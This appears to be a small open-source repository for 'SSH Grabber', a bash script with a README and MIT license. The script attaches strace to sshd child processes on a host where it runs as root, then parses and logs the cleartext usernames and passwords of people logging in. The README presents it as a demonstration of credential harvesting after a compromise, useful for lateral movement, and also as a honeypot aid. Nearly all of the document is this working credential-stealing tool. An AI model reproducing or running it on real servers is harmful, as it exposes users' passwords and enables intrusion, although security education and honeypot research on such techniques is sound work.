├── LICENSE ├── README.md └── ssh-grabber.sh /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 Braindead Security 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SSH Grabber 2 | 3 | Description: 4 | 5 | This simple tool logs usernames and passwords from authentication attempts against an OpenSSH server you control. It demonstrates how easy it can be for an attacker to obtain credentials in cleartext after compromising a host that is running SSH with password authentication instead of private keys, facilitating lateral movement within a network. It can also be very useful as part of a honeypot. 6 | 7 | The script works by continuously monitoring the process list for child processes of sshd, attaching strace to those processes to capture strings going in and out, then parsing out the authentication credentials and logging them to a file named "ssh-creds.log". The beauty of this approach is that it doesn't require modifying sshd or installing any custom code on the system (as long as strace is installed). Props to Ventz for inspiration: https://blog.vpetkov.net/2013/01/29/sniffing-ssh-password-from-the-server-side/ 8 | 9 | Known limitations: Root privileges are required to run the script. It will only log one connection at a time, so if multiple authentication sessions are open simultaneously, only the first one will be logged (though multiple authentication attempts within the same session will be logged). Currently there is no built-in log rotation or de-duplication. For some reason, it drops backslashes from usernames (but not passwords). 10 | 11 | This tool was designed to demonstrate the simplicity of harvesting credentials from a live SSH server and to educate about host security. Using it for malicious purposes is against the author's intent and could lead to prosecution under various criminal statutes. 12 | 13 | Required Package Dependencies: 14 | 15 | - sshd 16 | - strace 17 | 18 | Usage: sudo ./ssh-grabber.sh 19 | -------------------------------------------------------------------------------- /ssh-grabber.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # SSH Grabber by braindead 3 | 4 | # Set the output file path 5 | outfile=ssh-creds.log 6 | 7 | # Make sure the SSH daemon is running 8 | sshd=$(ps axo args | grep /sshd | grep -v grep) 9 | if [ -z "$sshd" ]; then 10 | echo "The SSH server daemon is not running. Please start it." 11 | exit 1 12 | fi 13 | 14 | # Make sure strace is installed 15 | strace=$(which strace) 16 | if [ -z "$strace" ]; then 17 | echo "Strace cannot be found. Please install it and add its location to the path environment variable." 18 | exit 1 19 | fi 20 | 21 | # Function to extract username and password(s) from strace logs 22 | function parse_creds () { 23 | local i=0 24 | local user="" 25 | while IFS='' read -r line || [[ -n "$line" ]]; do 26 | # Get lines that write to file descriptor 4 and have a length greater than 5 27 | if [[ "$line" == "write(4, "* ]] && (( $(echo "$line" | awk '{print $NF}') > 5 )); then 28 | # Get the quoted string and remove the first four hex characters 29 | local input=$(echo "$line" | cut -d '"' -f 2 | cut -c 17-) 30 | # Make sure there aren't any null bytes in the string 31 | if [[ "$input" != *"\x00"* ]]; then 32 | # Convert the string from hex to binary 33 | input=$(echo -e "$input") 34 | # Identify the username and password(s) 35 | if [ "$i" -eq "0" ]; then 36 | user="$input" 37 | else 38 | echo "$user:$input" >>"$outfile" 39 | echo "Login attempt from $user:$input" 40 | fi 41 | let "i++" 42 | fi 43 | fi 44 | done < "$1" 45 | rm -f "$1" 46 | } 47 | 48 | # Listen for sshd child processes and strace them when they spawn 49 | echo "Listening for SSH connections...press Ctrl-C to exit." 50 | while [ 1 ]; do 51 | pid=$(ps aux | grep ssh | grep net | awk {' print $2'}) 52 | if [ -n "$pid" ]; then 53 | strace -qx -s 250 -e trace=write -p "$pid" -o "strace$pid.log" && parse_creds "strace$pid.log" 54 | fi 55 | done 56 | --------------------------------------------------------------------------------